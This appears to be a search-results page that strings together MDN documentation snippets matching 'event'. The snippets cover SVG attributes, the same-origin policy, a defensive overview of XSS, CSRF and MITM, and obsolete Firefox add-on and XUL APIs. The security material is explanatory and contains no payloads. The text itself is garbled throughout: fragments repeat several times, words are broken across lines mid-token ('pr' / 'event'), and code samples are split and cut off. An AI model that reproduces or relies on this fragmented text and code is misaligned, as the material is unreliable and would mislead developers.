events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop>...
<rect> - SVG: Scalable Vector Graphics
: <number> ; default value: none; animatable: yes note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...e: none; animatable: yes note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...note: starting with svg2, x, y, width, height, rx and ry are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<textPath> - SVG: Scalable Vector Graphics
h>|<percentage>|<number> ; default value: 0; animatable: yes textlength the width of the space into which the text will render. ...
...; default value: 0; animatable: yes textlength the width of the space into which the text will render. ...
...le: yes textlength the width of the space into which the text will render. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
<tspan> - SVG: Scalable Vector Graphics
value type: spacing|spacingandglyphs; default value: spacing; animatable: yes textlength a width that the text should be scaled to fit. ...
...ingandglyphs; default value: spacing; animatable: yes textlength a width that the text should be scaled to fit. ...
... spacing; animatable: yes textlength a width that the text should be scaled to fit. ...
...ndex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, text-anchor, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, ...
<use> - SVG: Scalable Vector Graphics
ve an effect when use refers to a svg or symbol element. note: starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...ers to a svg or symbol element. note: starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...nt. note: starting with svg2, x, y, width, and height are geometry properties, meaning those attributes can also be used as css properties for that element. ...
...t notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage
event attributes global
event attributes, graphical
event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-
events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled...
SVG documentation index - SVG: Scalable Vector Graphics
ence, svg the svg conditional processing attributes are all the attributes that can be specified on some svg elements to control whether or not the element on which it appears should be rendered. 15 svg core attributes attribute, intermediate, reference, svg the svg core attributes are all the common attributes that can be specified on any svg element. 16 svg
event attributes advanced, attribute, draft, landing, needsupdate, svg
event attributes always have their name starting with "on" followed by the name of the
event for which they are intended. they specifies some script to run when the
event of the given type is dispatched to the element on which the attributes are specified. 17 svg presentation attributes attribute, beginner, ...
...e on the <feblend> filter primitive. 143 name deprecated, svg, svg attribute the name attribute specifies either the name of a color profile or a font face. 144 numoctaves filters, svg, svg attribute the numoctaves attribute defines the number of octaves for the noise function of the <feturbulence> primitive. 145 onclick svg, svg attribute,
events the onclick attribute specifies some script to run when the element is clicked. 146 opacity svg, svg attribute the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the background behind the element is overlaid. 147 operator filters, needscompattable, svg, svg attribute the operator att...
...nts of the <pattern> element. 160 patterntransform svg, svg attribute the patterntransform attribute defines a list of transform definitions that are applied to a pattern tile. 161 patternunits svg, svg attribute the patternunits attribute indicates which coordinate system to use for the geometry properties of the <pattern> element. 162 pointer-
events svg, svg attribute the pointer-
events attribute is a presentation attribute that allows defining whether or when an element may be the target of a mouse
event. 163 points svg, svg attribute the points attribute defines a list of points. each point is defined by a pair of number representing a x and a y coordinate in the user coordinate system. if the attribute cont...
...eference, svg a view is a defined way to view the image, like a zoom level or a detail view. 378 <vkern> deprecated, element, needsexample, reference, svg, svg font the <vkern> svg element allows to fine-tweak the vertical distance between two glyphs in top-to-bottom fonts. this process is known as kerning. 379 scripting graphics, svg, scripting, default,
eventlisteners, pr
eventing, setproperty one can override default browser behaviors with the evt.pr
eventdefault( ) method, add
eventlisteners to objects with the syntax element.add
eventlistener(
event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", ""). note the existence of all three arguments setting properties. 380 ser...
Same-origin policy - Web security
ry by browser: internet explorer, firefox, chrome, safari (scroll down to cve-2010-0051) and opera. images displayed by <img>. media played by <video> and <audio>. external resources embedded with <object> and <embed>. fonts applied with @font-face. some browsers allow cross-origin fonts, others require same-origin. anything embedded by <iframe>. ...
... some browsers allow cross-origin fonts, others require same-origin. anything embedded by <iframe>. sites can use the x-frame-options header to pr
event cross-origin framing. how to allow cross-origin access use cors to allow cross-origin access. cors is a part of http that lets servers specify what hosts are permitted to load content from that server. how to block cross-origin access to pr
event cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token. you must pr
event cross-origin reads of pages that require this token. ...
...n access use cors to allow cross-origin access. cors is a part of http that lets servers specify what hosts are permitted to load content from that server. how to block cross-origin access to pr
event cross-origin writes, check an unguessable token in the request — known as a cross-site request forgery (csrf) token. you must pr
event cross-origin reads of pages that require this token. to pr
event cross-origin reads of a resource, ensure that it is not embeddable. it is often necessary to pr
event embedding because embedding a resource always leaks some information about it. to pr
event cross-origin embeds, ensure that your resource cannot be interpreted as one of the embeddable formats listed above. browsers may not respect the content-type header. for example, if you point a <script> tag ...
... cross-origin script api access javascript apis like iframe.contentwindow, window.parent, window.open, and window.opener allow documents to directly reference each other. when two documents do not have the same origin, these references provide very limited access to window and location objects, as described in the next two sections. ...
Types of attacks - Web security
a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the s
eventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. cross-site scripting attacks usually occu...
...post endpoints should not interchangeably accept get requests with...
...post endpoints should not interchangeably accept get requests with parameters in the query string. a csrf token should be included in <form> elements via a hidden input field. this token should be unique per user an...
...have the effect of ensuring that the session cookie is not sent along with cross-site requests and so the request is effectively unauthenticated to the application server. both csrf tokens and samesite cookies should be deployed. this ensures all browsers are protected and provides protection where samesite cookies cannot help (such as attacks originating from a separate subdomain). for more pr
evention tips, see the owasp csrf pr
evention cheat sheet. man-in-the-middle (mitm) a third party intercepts traffic between a web server and a client (browser), and impersonates the web server in order to capture data (such as login credentials or credit card information). the traffic is passed through, possibly with alterations. open wifi networks are a typically means of executing this attack. ses...
indexed-db - Archive of obsolete content
experimental exposes the indexeddb api to add-ons. usage scripts running in web pages can access indexeddb via the window object. ...
...perimental exposes the indexeddb api to add-ons. usage scripts running in web pages can access indexeddb via the window object. ...
..."mydatabase"); request.onerror = function(
event) { console.log("failure"); }; request.onsuccess = function(
event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this. so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(
event) { console.log("failure"); }; request.onsuccess = function(
event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself. the api exposed by indexed-db is almost identical to the dom indexeddb api, so we haven't repeated its documentation here, but ref...
private-browsing - Archive of obsolete content
ns built using the sdk must opt into private browsing by setting the following key in their package.json file: "permissions": {"private-browsing": true} if an add-on has not opted in, then the high-level sdk modules will not expose private windows, or objects (such as tabs) that are associated with private windows: the windows module will not list any private browser windows, generate any
events for private browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any
events for such tabs any ui components will not be displayed in private browser windows any menus or menu items created using the context-menu will not be shown in context menus that belon...
...re("tabs").on("ready", function(tab) { if (!require("sdk/private-browsing").isprivate(tab)) { console.log("storing..."); simplestorage.storage.titles.push(tab.title); } else { console.log("not storing, private data"); } }); here's an add-on that uses a page-mod to log the content of pages loaded by the user, unless the page is private. ...
...seful to cache some data from private windows while they are open, as long as you don't store it after the private browsing windows have been closed. for example, the "downloads" window might want to display all downloads while there are still some private windows open, then clean out all the private data when all private windows have closed. to do this with the sdk, you can listen to the system
event named "last-pb-context-exited": var
events = require("sdk/system/
events"); function listener(
event) { console.log("last private window closed"); }
events.on("last-pb-context-exited", listener); globals functions isprivate(object) function to check whether the given object is private. it takes an object as an argument, and returns true only if the object is: a private browserwindow or ...
request - Archive of obsolete content
for more advanced usage, check out the net/xhr module, based on the browser's xmlhttprequest object. globals constructors request(options) this constructor creates a request object that can be used to make network requests. the constructor takes a single parameter options which is used to set several properties on the resulting request. parameters options : object optional options: name type url string,url this is the url to which the request will be made. can either be a string or an instance of the sdk's url. ...
...t. optionally the user may specify a collection of headers and content to send alongside the request and a callback which will be executed once the request completes. once a request object has been created a get request can be executed by calling its get() method, a post request by calling its post() method, and so on. when the server completes the request, the request object emits a "complete"
event. registered
event listeners are passed a response object. each request object is designed to be used once. attempts to reuse them will throw an error. since the request is not being made by any particular website, requests made here are not subject to the same-domain restriction that requests made in web pages are subject to. with the exception of response, all of a request object's properties...
...ete: function (response) { if (response.json.remaining_hits) { latesttweetrequest.get(); } else { console.log("you have been rate limited!"); } } }).get(); methods get() make a get request. head() make a head request. post() make a post request. put() make a put request. delete() make a delete request. properties url headers content contenttype response
events complete the request object emits this
event when the request has completed and a response has been received. arguments response : listener functions are passed the response to the request as a response object. response the response object contains the response to a network request issued using a request object. it is returned by the get(), head(), post(), put() or delete() method of a req...
simple-storage - Archive of obsolete content
data in your profile. because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next. the easiest solution to this problem is to use the --profile option to jpm with a path to a profile - not just a profile name. you may also need to include the --no-copy option to pr
event firefox from copying the profile to a temporarry directory each time it starts. jpm run --no-copy --profile path/to/profile/dir if you specify a non-existent profile, the same will be created, don't worry. important: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell command. if you don't close firefox normally, then simple st...
...ve megabytes (5,242,880 bytes). you can choose to be notified when you go over quota, and you should respond by reducing the amount of data in storage. if the user quits the application while you are over quota, all data stored since the last time you were under quota will not be persisted. you should not let that happen. to listen for quota notifications, register a listener for the "overquota"
event. it will be called when your storage goes over quota. function myonoverquotalistener() { console.log("uh oh."); } ss.on("overquota", myonoverquotalistener); listeners can also be removed: ss.removelistener("overquota", myonoverquotalistener); to find out how much of your quota you're using, check the module's quotausage property. it indicates the percentage of quota your storage occupies. i...
...perties storage a persistent object private to your add-on. properties with array, boolean, number, object, null, and string values will be persisted. quotausage a number in the range [0, infinity) that indicates the percentage of quota occupied by storage. a value in the range [0, 1] indicates that the storage is within quota. a value greater than 1 indicates that the storage exceeds quota.
events overquota the module emits this
event when your add-on's storage goes over its quota. ...
lang/functional - Archive of obsolete content
urn target.number += x; } console.log(mynumber.number); // 0 mynumber.add(10); // 10 mynumber.times(2); // 20 mynumber.add(3); // 23 parameters lambda : function the function to be wrapped and returned. returns function : the wrapped lambda. defer(fn) takes a function and returns a wrapped version of the function. ...
...a. defer(fn) takes a function and returns a wrapped version of the function. calling the wrapped version will call the original function during the next
event loop. this is similar to calling settimeout with no wait (i.e. settimeout(function () { ... }, 0)), except that the wrapped function may be reused and does not need to be repeated each time. this also enables you to use these functions as
event listeners. ...
...rapped version will call the original function during the next
event loop. this is similar to calling settimeout with no wait (i.e. settimeout(function () { ... }, 0)), except that the wrapped function may be reused and does not need to be repeated each time. this also enables you to use these functions as
event listeners. let { defer } = require("sdk/lang/functional"); let fn = defer(function my
event (
event, value) { console.log(
event + " : " + value); }); fn("click", "#home"); console.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `my
event` // function, making it non-blocking and executing on the // next
event loop parameters fn : function the function to be deferred. returns function : the new, deferred function. rem...
Displaying annotations - Archive of obsolete content
tions associated with them, and a panel to display the annotations. matcher page-mod matcher content script the content script for the matcher page-mod is initialized with a list of all the annotations that the user has created. when a page is loaded the matcher searches the dom for elements that match annotations. if it finds any it binds functions to that element's mouseenter and mouseleave
events to send messages to the main module, asking it to show or hide the annotation. like the selector, the matcher also listens for the window's unload
event and on unload sends a detach message to the main module, so the add-on can clean it up. the complete content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annot...
...o the main module, so the add-on can clean it up. ...
...nt script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(
event) { self.port.emit('show', $(this).attr('annotation'));
event.stoppropagation();
event.pr
eventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')').last(); $(annotationanchor).
Implementing the widget - Archive of obsolete content
replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. we want the widget to do two things: on a left-click, the widget should activate or deactivate the annotator. on a right-click, the widget should display a list of all the annotations the user has created. because the widget's click
event does not distinguish left and right mouse clicks, we'll use a content script to capture the click
events and send the corresponding message back to our add-on. the widget will have two icons: one to display when it's active, one to display when it's inactive. so there are three files we'll need to create: the widget's content script and its two icons. inside the data subdirectory create anothe...
...cript and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy isn't mandatory; you could just keep them all under data. but it seems tidier this way. the widget's content script the widget's content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.add
eventlistener('click', function(
event) { if(
event.button == 0 &&
event.shiftkey == false) self.port.emit('left-click'); if(
event.button == 2 || (
event.button == 0 &&
event.shiftkey == true)) self.port.emit('right-click');
event.pr
eventdefault(); }, true); save this in your data/widget directory as widget.js. the widget's icons you can copy the widget's icons from here: or, if you...
...n.png') : data.url('widget/pencil-off.png'); }); widget.port.on('right-click', function() { console.log('show annotation list'); }); } the annotator is inactive by default. it creates the widget and responds to messages from the widget's content script by toggling its activation state. since we don't have any code to display annotations yet, we just log the right-click
events to the console. now from the annotator directory type cfx run. you should see the widget in the add-on bar: left- and right-clicks should produce the appropriate debug output, and a left-click should also change the widget icon to signal that it is active. next we'll add the code to create annotations. ...
Storing annotations - Archive of obsolete content
ons) { var annotationlist = $('#annotation-list'); annotationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.url').text(storedannotation.url) .attr('href', storedannotation.url); annotationhtml.find('.url').bind('click', function(
event) {
event.stoppropagation();
event.pr
eventdefault(); self.postmessage(storedannotation.url); }); annotationhtml.find('.selection-text') .text(storedannotation.anchortext); annotationhtml.find('.annotation-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it build...
...dget. you should see something like this: restart firefox, right-click the widget again, and check that the annotation is still there. until now we've always run cfx run rather than building an xpi and installing the add-on in firefox. if the annotation does not reappear when you restart firefox, double check you installed the add-on and didn't just use cfx run again. responding to overquota
events add-ons have a limited quota of storage space. if the add-on exits while it is over quota, any data stored since the last time it was in quota will not be persisted. so we want to listen to the overquota
event emitted by simple-storage and respond to it. add the following to your add-on's main function: simplestorage.on("overquota", function () { notifications.notify({ title: 'storage s...
...hile (simplestorage.quotausage > 1) simplestorage.storage.annotations.pop(); }); because we use a notification to alert the user, we need to import the notifications module: var notifications = require("sdk/notifications"); (it should be obvious that this is an incredibly unhelpful way to deal with the problem. a real add-on should give the user a chance to choose which data to keep, and pr
event the user from adding any more data until the add-on is back under quota.) respecting private browsing since annotations record the user's browsing history we should avoid recording annotations in private windows. there's a very simple way to do this: do nothing. by omitting the "private-browsing" key from the annotator's "package.json" file, the annotator opts out of private browsing altogethe...
Canvas code snippets - Archive of obsolete content
adasarraybuffer(blob); yield new promise(accept => { reader.onloadend = accept }); return yield os.file.writeatomic(path, new uint8array(reader.result), { tmppath: path + '.tmp' }); }); } loading a remote page onto a canvas element the following class first creates a hidden iframe element and attaches a listener to the frame's load
event. once the remote page has loaded, the remotepageloaded method fires. this method gets a reference to the iframe's window and draws this window to a canvas object. note that this only works if you are running the page from chrome. if you try running the code as a plain webpage, you will get a 'security error" code: "1000' error. remotecanvas = function() { this.url = 'http://developer.mozill...
...otecanvas.prototype.load = function() { var windowwidth = window.innerwidth - 25; var iframe; iframe = document.createelement('iframe'); iframe.id = 'test-iframe'; iframe.height = '10px'; iframe.width = windowwidth + 'px'; iframe.style.visibility = 'hidden'; iframe.src = this.url; // here is where the magic happens... ...
...load = function() { var windowwidth = window.innerwidth - 25; var iframe; iframe = document.createelement('iframe'); iframe.id = 'test-iframe'; iframe.height = '10px'; iframe.width = windowwidth + 'px'; iframe.style.visibility = 'hidden'; iframe.src = this.url; // here is where the magic happens... ...
Drag & Drop - Archive of obsolete content
dropping files onto an xul application it's possible to setup drag and drop
events to handle dropping files from external applications or os file managers onto your xul-based application. first, you need to hook up the basic drag
event handlers: elem.add
eventlistener("dragover", _dragover, true); elem.add
eventlistener("dragdrop", _dragdrop, true); here, elem could be a window or an xul element. ...
...ing files from external applications or os file managers onto your xul-based application. first, you need to hook up the basic drag
event handlers: elem.add
eventlistener("dragover", _dragover, true); elem.add
eventlistener("dragdrop", _dragdrop, true); here, elem could be a window or an xul element. ...
...ses["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(a
event) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside ...
Forms related code snippets - Archive of obsolete content
ick; otd.appendchild(document.createtextnode(nday)); } else { otd.classname = sprefs + "-empty-cell"; } otr.appendchild(otd); } this.display.innerhtml = smonthsnames[this.current.getmonth()] + " " + this.current.getfullyear(); this.container.appendchild(this.otbody); }; function ondocclick (opssevt) { const oevt = opssevt || /* ie */ window.
event; var boutside = true; for (var onode = oevt.target || /* ie */ oevt.srcelement; onode; onode = onode.parentnode) { if (onode.classname === sprefs + "-calendar" || onode.classname === sdpclass) { boutside = false; break; } } if (boutside) { return; } ainstances[onode.id.replace(rbgnnan, "")].container.style.zindex = nzindex++; } function onheadc...
..., "aug", "sep", "oct", "nov", "dec"], sdays = ["m", "t", "w", "t", "f", "s", "s"], bzeroismonday = true, /* internal usage */ ainstances = [], amonthlengths = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31], rbgnnan = /^\d+/, rbgnandend = /^\d+|\d+\d+$/g, rmonth = /\-month\-/, rdecrease = /\-decr\-/; var /* customizable by user */ nzindex = 1000; window.add
eventlistener ? add
eventlistener("load", buildcalendars, false) : window.attach
event ? attach
event("onload", buildcalendars) : (onload = buildcalendars); document.add
eventlistener ? document.add
eventlistener("mousedown", ondocclick, false) : document.attach
event ? document.attach
event("onmousedown", ondocclick) : (document.onmousedown = ondocclick); })(); </script> <style type="text/css"> table.zd...
... ...
Examples and demos from articles - Archive of obsolete content
the creation of complete rich-text editors in web pages. [article] typewriter effect [html] the following example will delete and re-type simulating a typewriter all the text content of the nodelist which match a specified group of selectors. [article] fade in/out [html] sometimes a page uses dozens and dozens of animations. in such a condition is difficult and unnatural to keep track of all
events started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the informations needed by each animation to start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. here is a possible and minimalist example of...
.... autogrowing <textarea> this example shows how to make a textarea really autogrowing during a typing. insert some custom text in a <textarea> this example shows how to insert some html tags or smiles or any custom text in a textarea. using setinterval within animations sometimes a page uses dozens and dozens of animations. in such a condition is difficult and unnatural to keep track of all
events started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the informations needed by each animation to start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. convert relative paths to absolute this exa...
...iation of them. convert relative paths to absolute this example show how to translate relative paths to absolute paths. a shortcut to massively modify the dom this example shows how to create a framework able to modify many properties of dom objects at the same time. filter the digitation into a form field, capture the digitation of a hidden word this example shows the use of the onkeypress
event during a digitation into a form field. ajax – submitting forms and uploading files this paragraph shows how to submit forms in pure-ajax. multipage ajax navigation example this article provides a working (minimalist) example of a pure-ajax web site composed only of three pages. do something if current document has changed since last visit here is a possible example of how to show an alert...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
le it is a use of it, is a “use” in a much weaker sense of the word. as far as the author is concerned, this is an unrelated application of the work. this is what we might call the reader’s use of the work, and it requires no permission from the author. in some situations, such as education or citation, use in the strong, authorial sense is permitted to readers. any discussion of copyright
eventually turns to the fact that some uses are prohibited, so it’s useful to understand what uses are unrestricted. range of uses restricted to author unrestricted book print, publish, revise read music record, perform, revise listen movie distribute, screen, revise watch software copy, distribute, modify execute l...
...; no additional licensing can be required when redistributing; license must not be specific to a product; license must not interfere with other software. the “no discrimination may be made against individuals or organizations” rule means that you cannot prohibit it from any particular country. the “no discrimination may be made based on field of endeavor” rule means that you cannot pr
event it from being used in warfare. the “no additional licensing can be required when redistributing” rule means that you cannot prohibit the software’s use from anyone who does not buy a separate license. because the oss license is intended to foster source-code reuse and mutual development, it avoids restrictions on source-code duplication, distribution, and modification to the greatest exten...
...o be released under the gpl, so the code cannot be wrapped in a proprietary program. however, compared to the bsd license, its terms are complicated, and can be difficult for users to understand. points to understand about oss licenses i’ll explain some important aspects of oss licensing that you should be aware of. you don’t have to give it away there’s nothing in an oss license that pr
events you from charging money for software. one of the advantages of oss is that it emphasizes that software can be distributed for free, but it can also be distributed for money. of course, customers who buys the software can then redistribute it themselves, so unless you provide some added value, you’ll have a hard time building a business. scope of modifications in the open-source world, “co...
Broadcasters and Observers - Archive of obsolete content
to do this, we can use broadcasters. command attribute forwarding we've already seen that elements such as buttons can be hooked up to commands. in addition, if you place the disabled attribute on the command element, any elements hooked up to it will also become disabled automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other attributes as well. for instance, if you place a label attribute on a command element, any buttons attached to the command will share the same label. ...
...self does not change but the element it is inside changes, which in this case is a button. notice that the accesskey is not forwarded to the button, since it is not being obseved. if you wanted it to be, another observes element would need to be added. if you don't use any observes elements, and instead use the observes attribute directly on the button, all attributes will be observed. broadcast
event there is an additional
event handler that we can place on the observes element which is onbroadcast. the
event is called whenever the observer notices a change to the attributes of the broadcaster that it is watching. an example is shown below. example 3 : source view <broadcasterset> <broadcaster id="colorchanger" style="color: black"/> </broadcasterset> <button label="test"> <observes e...
...nd changes the style of it to have a color that is red. the broadcaster is not affected by the style change because it doesn't display on the screen. however, the first button has an observer which notices the change in style. the element and the attribute on the observes tag detect the style change. the style is applied to the first button automatically. next, because the broadcast occured, the
event handler onbroadcast is called. this results in an alert message appearing. note that the broadcast only occurs if the attributes on the broadcaster element are changed. changing the style of the buttons directly will not cause the broadcast to occur so the alert box will not appear. if you tried duplicating the code for the first button several times, you would end up with a series of alert boxe...
XBL Inheritance - Archive of obsolete content
heritance sometimes you may want to create an xbl widget that is similar to an existing one. for example, let's say you want to create an xbl button with a popup. one way to create this is to duplicate the existing xbl code for buttons. however, it would be better to simply extend the existing button code. any binding can be extended with another. the child binding can add properties, methods and
event handlers. the child binding will have all the features it defines in addition to the features from the binding it inherits from (and any that binding inherits from and so on up the tree). to extend an existing binding, add an extends attribute on to the binding tag. for example, the following binding creates a textbox which adds the text 'http://www' to the beginning of its value when the f4 key ...
...from and so on up the tree). to extend an existing binding, add an extends attribute on to the binding tag. for example, the following binding creates a textbox which adds the text 'http://www' to the beginning of its value when the f4 key is pressed. example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler
event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element. the url given in the extends attribute above is the url of the textbox binding. this means that we inherit all of the content and behavior provided by the textbox binding. in addition, we add a handler which responds to the keypress
event. au...
...you can use it in your own applications too. just create a textbox with two extra attributes. ...
caption - Archive of obsolete content
crop type: string gets and sets the value of the crop attribute. image type: image url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. ...
... image type: image url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements groupbox, checkbox ...
dialogheader - Archive of obsolete content
mple, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } description type: string descriptive text to appear in addition to the dialog title. title type: string the text to appear in the title bar of the window. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements dialog, window ...
editor - Archive of obsolete content
ent. gethtmleditor( window ) return type: nsihtmleditor returns the html editing interface for the editor which contains methods for manipulating an html document. pass the editor's contentwindow as the argument. makeeditable( editortype, waitforload ) return type: no return value this function enables editing for an editor. specify text or html as the editortype. ...
...ace for the editor which contains methods for manipulating an html document. pass the editor's contentwindow as the argument. makeeditable( editortype, waitforload ) return type: no return value this function enables editing for an editor. specify text or html as the editortype. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
menubar - Archive of obsolete content
nt, the label on the statusbar will update to the statustext of the items on the menu as the user moves the mouse over them. properties accessibletype type: integer a value indicating the type of accessibility object for the element. statusbar type: id of statusbar element gets and sets the value of the statusbar attribute. ...
..., , allow
